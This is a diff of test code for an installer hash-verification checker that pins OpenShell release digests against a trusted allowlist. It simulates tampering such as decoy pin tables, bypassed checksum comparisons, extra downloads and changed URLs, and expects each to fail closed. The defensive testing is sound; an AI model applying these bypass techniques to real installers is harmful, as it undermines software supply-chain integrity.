"official-but-unexpected-installer-asset": (source) => + source + .replace(ASSETS.at(-1) ?? "missing", OFFICIAL_UNEXPECTED_INSTALLER_ASSET) + .replace( + ASSET_DIGESTS.get(ASSETS.at(-1) ?? "") ?? "missing", + OFFICIAL_UNEXPECTED_INSTALLER_DIGEST, + ), "partial-asset-missing": (source) => source.replace(ASSETS.at(-1) ?? "missing", UNPUBLISHED_ASSET), + "runtime-consumers-newer-than-tables": (source) => + source.replace('MAX_VERSION="0.0.72"', 'MAX_VERSION="0.0.82"'), }; type InputMutationContext = { + blueprint: string; brevInstaller: string; fixtureRoot: string; installer: string; }; const INPUT_MUTATIONS: Partial void>> = { + "runtime-consumers-newer-than-tables": ({ blueprint }) => { + const source = fs.readFileSync(blueprint, "utf8"); + fs.writeFileSync(blueprint, source.replace('"0.0.72"', '"0.0.82"')); + }, "non-regular-brev-input": ({ brevInstaller }) => { fs.rmSync(brevInstaller); fs.mkdirSync(brevInstaller); @@ -150,6 +326,25 @@ a97dcb3acb04fb2d1170c1a2170228990c2337e25bb8c18817e5a6e952204108 openshell-gate `, ], ]); +const CHECKER_MUTATIONS: Partial string>> = { + "allowlisted-alternate-version": (source) => { + const alternateEntries = [...CHECKSUM_MANIFESTS.entries()] + .map( + ([manifest, contents]) => + ` "9.9.9|${manifest}|${createHash("sha256").update(contents).digest("hex")}"`, + ) + .join("\n"); + return source.replace( + "readonly -a OPENSHELL_RELEASE_MANIFEST_ALLOWLIST=(\n", + `readonly -a OPENSHELL_RELEASE_MANIFEST_ALLOWLIST=(\n${alternateEntries}\n`, + ); + }, + "incomplete-trusted-allowlist": (source) => + source.replace( + /^\s*"0\.0\.72\|openshell-sandbox-checksums-sha256\.txt\|[a-f0-9]{64}"\s*$/m, + "", + ), +}; const tempDirs: string[] = []; afterEach(() => { @@ -205,6 +400,45 @@ function renderPinFunction( return `${functionOpening}\n${localInputs}\n${caseOpening}\n${cases}\n *)\n return 1\n ;;\n esac\n}\n`; } +function replacePinFunction( + source: string, + functionName: string, + nextFunctionName: string, + replacement: string, +): string { + const start = source.indexOf(`${functionName}() {`); + const next = source.indexOf(`\n${nextFunctionName}() {`, start); + expect(start, `${functionName} template start`).not.toBe(-1); + expect(next, `${functionName} template end`).not.toBe(-1); + return `${source.slice(0, start)}${replacement}${source.slice(next)}`; +} + +function renderInstallerTemplate(openshellVersion: string, pinFunction: string): string { + const selected = INSTALLER_TEMPLATE.replace( + /^MIN_VERSION="[0-9]+\.[0-9]+\.[0-9]+"$/m, + `MIN_VERSION="${openshellVersion}"`, + ).replace(/^MAX_VERSION="[0-9]+\.[0-9]+\.[0-9]+"$/m, `MAX_VERSION="${openshellVersion}"`); + return replacePinFunction( + selected, + "openshell_pinned_sha256", + "openshell_checksum_line", + pinFunction, + ); +} + +function renderBrevTemplate(openshellVersion: string, pinFunction: string): string { + const selected = BREV_TEMPLATE.replace( + /^(\s*stable\s*\|\s*auto\)\s*OPENSHELL_VERSION=")v[0-9]+\.[0-9]+\.[0-9]+("\s*;;\s*)$/m, + `$1v${openshellVersion}$2`, + ); + return replacePinFunction( + selected, + "openshell_cli_pinned_sha256", + "openshell_checksum_line", + pinFunction, + ); +} + function createFixture( openshellVersion = "0.0.72", formatting: PinFormatting = "canonical", @@ -216,29 +450,38 @@ function createFixture( tempDirs.push(fixtureRoot); fs.mkdirSync(checksDir, { recursive: true }); fs.mkdirSync(binDir, { recursive: true }); - const checker = fs - .readFileSync(path.join(REPO_ROOT, "scripts", "check-installer-hash.sh"), "utf8") - .replace( - 'OPENSHELL_RELEASE_VERSION="0.0.72"', - `OPENSHELL_RELEASE_VERSION="${openshellVersion}"`, - ); + fs.mkdirSync(path.join(fixtureRoot, "nemoclaw-blueprint"), { recursive: true }); + const checker = fs.readFileSync( + path.join(REPO_ROOT, "scripts", "check-installer-hash.sh"), + "utf8", + ); fs.writeFileSync(path.join(scriptsDir, "check-installer-hash.sh"), checker); fs.copyFileSync( path.join(REPO_ROOT, "scripts", "checks", "extract-installer-pins.mts"), path.join(checksDir, "extract-installer-pins.mts"), ); + fs.writeFileSync( + path.join(fixtureRoot, "nemoclaw-blueprint", "blueprint.yaml"), + `max_openshell_version: "${openshellVersion}"\n`, + ); fs.writeFileSync( path.join(scriptsDir, "install-openshell.sh"), - renderPinFunction("openshell_pinned_sha256", ASSETS, openshellVersion, formatting), + renderInstallerTemplate( + openshellVersion, + renderPinFunction("openshell_pinned_sha256", ASSETS, openshellVersion, formatting), + ), ); fs.writeFileSync( path.join(scriptsDir, "brev-launchable-ci-cpu.sh"), - renderPinFunction( - "openshell_cli_pinned_sha256", - ASSETS.slice(0, 2), + renderBrevTemplate( openshellVersion, - formatting, + renderPinFunction( + "openshell_cli_pinned_sha256", + ASSETS.slice(0, 2), + openshellVersion, + formatting, + ), ), ); fs.writeFileSync( @@ -318,7 +561,10 @@ function runFixture( : fs.readFileSync(targetChecker, "utf8"), ); const checker = trustedChecker ? trustedCheckerPath : targetChecker; + const mutateChecker = CHECKER_MUTATIONS[mode] ?? ((source: string) => source); + fs.writeFileSync(checker, mutateChecker(fs.readFileSync(checker, "utf8"))); const installer = path.join(fixtureRoot, "scripts", "install-openshell.sh"); + const blueprint = path.join(fixtureRoot, "nemoclaw-blueprint", "blueprint.yaml"); const installerSource = fs.readFileSync(installer, "utf8"); const mutateInstaller = INSTALLER_MUTATIONS[mode] ?? ((source: string) => source); fs.writeFileSync(installer, mutateInstaller(installerSource)); @@ -333,7 +579,7 @@ function runFixture( ? 'process.stdout.write("PR_PARSER_EXECUTED\\n");\n' : fs.readFileSync(targetParser, "utf8"), ); - INPUT_MUTATIONS[mode]?.({ brevInstaller, fixtureRoot, installer }); + INPUT_MUTATIONS[mode]?.({ blueprint, brevInstaller, fixtureRoot, installer }); return spawnSync("bash", [checker], { cwd: fixtureRoot, encoding: "utf8", @@ -357,14 +603,187 @@ describe("installer hash verification", () => { expect(result.stdout).toContain("All installer hashes are current"); }); - it("uses the single release-version constant for release URLs and pin selection", () => { - const result = runFixture("complete", "9.9.9"); + it("derives the release version from matching static installer pin tables", () => { + const result = runFixture("complete", undefined, true); + + expect(result.status).toBe(0); + expect(result.stdout).toContain("Checking OpenShell v0.0.72 release assets"); + expect(result.stdout).toContain("All installer hashes are current"); + }); + + it("selects a second complete trusted release from the allowlist", () => { + const result = runFixture("allowlisted-alternate-version", "9.9.9", true); expect(result.status).toBe(0); expect(result.stdout).toContain("Checking OpenShell v9.9.9 release assets"); expect(result.stdout).toContain("All installer hashes are current"); }); + it("fails closed when the derived release is not allowlisted", () => { + const result = runFixture("complete", "9.9.9", true); + + expect(result.status).toBe(1); + expect(result.stdout).toContain( + "OpenShell v9.9.9 is not in the trusted release-manifest allowlist", + ); + expect(result.stdout).not.toContain("Checking OpenShell v9.9.9 release assets"); + expect(result.stdout).not.toContain("All installer hashes are current"); + }); + + it("requires the trusted allowlist prerequisite before a newer pin PR", () => { + // The first invocation deliberately keeps the trusted checker in its old + // base state (0.0.72 only) while the separate target tree selects 9.9.9. + // The target cannot authorize itself. The second invocation models the + // prerequisite allowlist commit already present in trusted base code; only + // then may the otherwise identical pin tree pass. + const beforePrerequisite = runFixture("complete", "9.9.9", true); + expect(beforePrerequisite.status).toBe(1); + expect(beforePrerequisite.stdout).toContain( + "OpenShell v9.9.9 is not in the trusted release-manifest allowlist", + ); + expect(beforePrerequisite.stdout).not.toContain("PR_CHECKER_EXECUTED"); + + const afterPrerequisite = runFixture("allowlisted-alternate-version", "9.9.9", true); + expect(afterPrerequisite.status).toBe(0); + expect(afterPrerequisite.stdout).toContain("Checking OpenShell v9.9.9 release assets"); + expect(afterPrerequisite.stdout).toContain("All installer hashes are current"); + expect(afterPrerequisite.stdout).not.toContain("PR_CHECKER_EXECUTED"); + }); + + it("fails closed when an allowlisted release lacks all three manifest digests", () => { + const result = runFixture("incomplete-trusted-allowlist", undefined, true); + + expect(result.status).toBe(1); + expect(result.stdout).toContain( + "OpenShell v0.0.72 does not have exactly three trusted release-manifest digests", + ); + expect(result.stdout).not.toContain("Checking OpenShell v0.0.72 release assets"); + expect(result.stdout).not.toContain("All installer hashes are current"); + }); + + it("rejects newer runtime consumers when both trusted pin tables stay on an older release", () => { + const result = runFixture("runtime-consumers-newer-than-tables", undefined, true); + + expect(result.status).toBe(1); + expect(result.stdout).toContain("unable to extract the OpenShell installer pin tables"); + expect(result.stdout).toContain( + "installer pin-table release 0.0.72 must match blueprint max_openshell_version 0.0.82", + ); + expect(result.stdout).not.toContain("Checking OpenShell v0.0.72 release assets"); + expect(result.stdout).not.toContain("All installer hashes are current"); + }); + + it.each([ + [ + "installer-min-version-drift", + "installer pin-table release 0.0.72 must match installer MIN_VERSION 0.0.82", + ], + [ + "installer-max-version-drift", + "installer pin-table release 0.0.72 must match installer MAX_VERSION 0.0.82", + ], + [ + "brev-stable-version-drift", + "installer pin-table release 0.0.72 must match Brev stable OpenShell default 0.0.82", + ], + ["installer-pin-selector-drift", "installer operational template is not base-trusted"], + ] as const)("rejects %s", (mode, diagnostic) => { + const result = runFixture(mode, undefined, true); + + expect(result.status).toBe(1); + expect(result.stdout).toContain("unable to extract the OpenShell installer pin tables"); + expect(result.stdout).toContain(diagnostic); + expect(result.stdout).not.toContain("All installer hashes are current"); + }); + + it.each([ + ["installer-decoy-table", "installer operational template is not base-trusted"], + ["installer-comment-decoy", "installer operational template is not base-trusted"], + ["installer-dead-code-decoy", "installer operational template is not base-trusted"], + [ + "installer-later-min-selector-override", + "installer selector 1 must contain exactly one permitted release selector literal", + ], + ["installer-later-selector-override", "installer operational template is not base-trusted"], + ["installer-indirect-selector-override", "installer operational template is not base-trusted"], + ["installer-sha-command-bypass", "installer operational template is not base-trusted"], + ["installer-extra-download", "installer operational template is not base-trusted"], + ["installer-changed-asset", "installer operational template is not base-trusted"], + ["installer-changed-checksum", "installer operational template is not base-trusted"], + ["installer-changed-url", "installer operational template is not base-trusted"], + ["installer-bypassed-comparison", "installer operational template is not base-trusted"], + ["installer-changed-extraction-target", "installer operational template is not base-trusted"], + ["brev-decoy-table", "Brev launchable operational template is not base-trusted"], + ["brev-comment-decoy", "Brev launchable operational template is not base-trusted"], + ["brev-dead-code-decoy", "Brev launchable operational template is not base-trusted"], + ["brev-bypassed-verifier-call", "Brev launchable operational template is not base-trusted"], + ["brev-later-selector-override", "Brev launchable operational template is not base-trusted"], + ["brev-indirect-selector-override", "Brev launchable operational template is not base-trusted"], + ["brev-sha-command-bypass", "Brev launchable operational template is not base-trusted"], + ["brev-extra-download", "Brev launchable operational template is not base-trusted"], + ["brev-changed-asset", "Brev launchable operational template is not base-trusted"], + ["brev-changed-url", "Brev launchable operational template is not base-trusted"], + ["brev-bypassed-comparison", "Brev launchable operational template is not base-trusted"], + ["brev-changed-extraction-target", "Brev launchable operational template is not base-trusted"], + ] as const)("rejects operational-consumption drift in %s", (mode, diagnostic) => { + const result = runFixture(mode, undefined, true); + + expect(result.status).toBe(1); + expect(result.stdout).toContain("unable to extract the OpenShell installer pin tables"); + expect(result.stdout).toContain(diagnostic); + expect(result.stdout).not.toContain("Checking OpenShell v0.0.72 release assets"); + expect(result.stdout).not.toContain("All installer hashes are current"); + }); + + it.each([ + [ + "installer-literalized-pin-input", + "openshell_pinned_sha256 must start with local release_tag and asset inputs", + ], + [ + "brev-literalized-pin-selector", + "openshell_cli_pinned_sha256 must select on release_tag and asset", + ], + [ + "multiple-installer-versions", + "openshell_pinned_sha256 must contain exactly one release version, found 0.0.72, 0.0.73", + ], + [ + "mismatched-table-versions", + "installer and Brev launchable pin tables must use the same release version, found 0.0.72, 0.0.73", + ], + ] as const)("fails closed for %s", (mode, diagnostic) => { + const result = runFixture(mode, undefined, true); + + expect(result.status).toBe(1); + expect(result.stdout).toContain("unable to extract the OpenShell installer pin tables"); + expect(result.stdout).toContain(diagnostic); + expect(result.stdout).not.toContain("Checking OpenShell v0.0.72 release assets"); + expect(result.stdout).not.toContain("All installer hashes are current"); + }); + + it.each([ + [ + "official-but-unexpected-installer-asset", + "installer pin table must contain the exact consumed asset set", + OFFICIAL_UNEXPECTED_INSTALLER_ASSET, + ], + [ + "official-but-unexpected-brev-asset", + "Brev pin table must contain the exact consumed asset set", + OFFICIAL_UNEXPECTED_BREV_ASSET, + ], + ] as const)("rejects %s despite a valid published digest", (mode, diagnostic, unexpected) => { + const result = runFixture(mode, undefined, true); + + expect(result.status).toBe(1); + expect(result.stdout).toContain("unable to extract the OpenShell installer pin tables"); + expect(result.stdout).toContain(diagnostic); + expect(result.stdout).toContain(`unexpected=[${unexpected}]`); + expect(result.stdout).not.toContain("Checking OpenShell v0.0.72 release assets"); + expect(result.stdout).not.toContain("All installer hashes are current"); + }); + it.each([ "equals-whitespace", "comments", @@ -394,7 +813,6 @@ describe("installer hash verification", () => { expect(result.status).toBe(1); expect(result.stdout).toContain("unable to extract the OpenShell installer pin tables"); - expect(result.stdout).toContain("expected 2 pinned Brev OpenShell v0.0.72 CLI assets"); expect(result.stdout).not.toContain("All installer hashes are current"); }); @@ -473,15 +891,16 @@ describe("installer hash verification", () => { expect(result.stdout).not.toContain("All installer hashes are current"); }); - it("fails closed when a pinned installer asset is absent from every manifest", () => { + it("fails closed when a pinned installer asset is outside the exact consumed set", () => { const result = runFixture("partial-asset-missing"); expect(result.status).toBe(1); + expect(result.stdout).toContain("unable to extract the OpenShell installer pin tables"); expect(result.stdout).toContain( - `STALE: installer ${UNPUBLISHED_ASSET} does not match exactly one v0.0.72 checksum entry`, + "installer pin table must contain the exact consumed asset set", ); - expect(result.stdout).toContain("upstream: missing"); - expect(result.stdout).toContain("matches: 0"); + expect(result.stdout).toContain(`unexpected=[${UNPUBLISHED_ASSET}]`); + expect(result.stdout).not.toContain("Checking OpenShell v0.0.72 release assets"); expect(result.stdout).not.toContain("All installer hashes are current"); }); diff --git a/test/runner.test.ts b/test/runner.test.ts index 992ef6f22cb..b711bd01a37 100644 --- a/test/runner.test.ts +++ b/test/runner.test.ts @@ -741,11 +741,35 @@ describe("regression guards", () => { strings() { echo "request-body-credential-rewrite websocket-credential-rewrite allow_all_known_mcp_methods"; } export -f strings tar() { - local destination="\${@: -1}" - printf '%s\n' '#!/bin/sh' 'echo "openshell 0.0.72"' > "$destination/openshell" - printf '%s\n' '#!/bin/sh' 'echo "openshell-gateway 0.0.72"' > "$destination/openshell-gateway" - printf '%s\n' '#!/bin/sh' 'echo "openshell-sandbox 0.0.72"' > "$destination/openshell-sandbox" - chmod +x "$destination/openshell" "$destination/openshell-gateway" "$destination/openshell-sandbox" + local mode="\${1:-}" archive="\${2:-}" expected="" destination="" + case "$(basename "$archive")" in + openshell-gateway-*) expected="openshell-gateway" ;; + openshell-sandbox-*) expected="openshell-sandbox" ;; + openshell-*) expected="openshell" ;; + *) return 2 ;; + esac + case "$mode" in + -tzf) + printf '%s\n' "$expected" + ;; + -tvzf) + printf '%s\n' "-rwxr-xr-x 0/0 0 2026-01-01 00:00 $expected" + ;; + xzf|-xzf) + shift 2 + while [ "$#" -gt 0 ]; do + if [ "$1" = "-C" ]; then + shift + destination="$1" + fi + shift || true + done + [ -n "$destination" ] || return 2 + printf '%s\n' '#!/bin/sh' 'echo "0.0.72"' > "$destination/$expected" + chmod +x "$destination/$expected" + ;; + *) return 2 ;; + esac }; export -f tar install() { /usr/bin/install "$@"; }; export -f install source "${scriptPath}" @@ -819,11 +843,35 @@ describe("regression guards", () => { strings() { echo "request-body-credential-rewrite websocket-credential-rewrite allow_all_known_mcp_methods"; } export -f strings tar() { - local destination="\${@: -1}" - printf '%s\n' '#!/bin/sh' 'echo "openshell 0.0.72"' > "$destination/openshell" - printf '%s\n' '#!/bin/sh' 'echo "openshell-gateway 0.0.72"' > "$destination/openshell-gateway" - printf '%s\n' '#!/bin/sh' 'echo "openshell-sandbox 0.0.72"' > "$destination/openshell-sandbox" - chmod +x "$destination/openshell" "$destination/openshell-gateway" "$destination/openshell-sandbox" + local mode="\${1:-}" archive="\${2:-}" expected="" destination="" + case "$(basename "$archive")" in + openshell-gateway-*) expected="openshell-gateway" ;; + openshell-sandbox-*) expected="openshell-sandbox" ;; + openshell-*) expected="openshell" ;; + *) return 2 ;; + esac + case "$mode" in + -tzf) + printf '%s\n' "$expected" + ;; + -tvzf) + printf '%s\n' "-rwxr-xr-x 0/0 0 2026-01-01 00:00 $expected" + ;; + xzf|-xzf) + shift 2 + while [ "$#" -gt 0 ]; do + if [ "$1" = "-C" ]; then + shift + destination="$1" + fi + shift || true + done + [ -n "$destination" ] || return 2 + printf '%s\n' '#!/bin/sh' 'echo "0.0.72"' > "$destination/$expected" + chmod +x "$destination/$expected" + ;; + *) return 2 ;; + esac }; export -f tar install() { /usr/bin/install "$@"; }; export -f install source "${scriptPath}"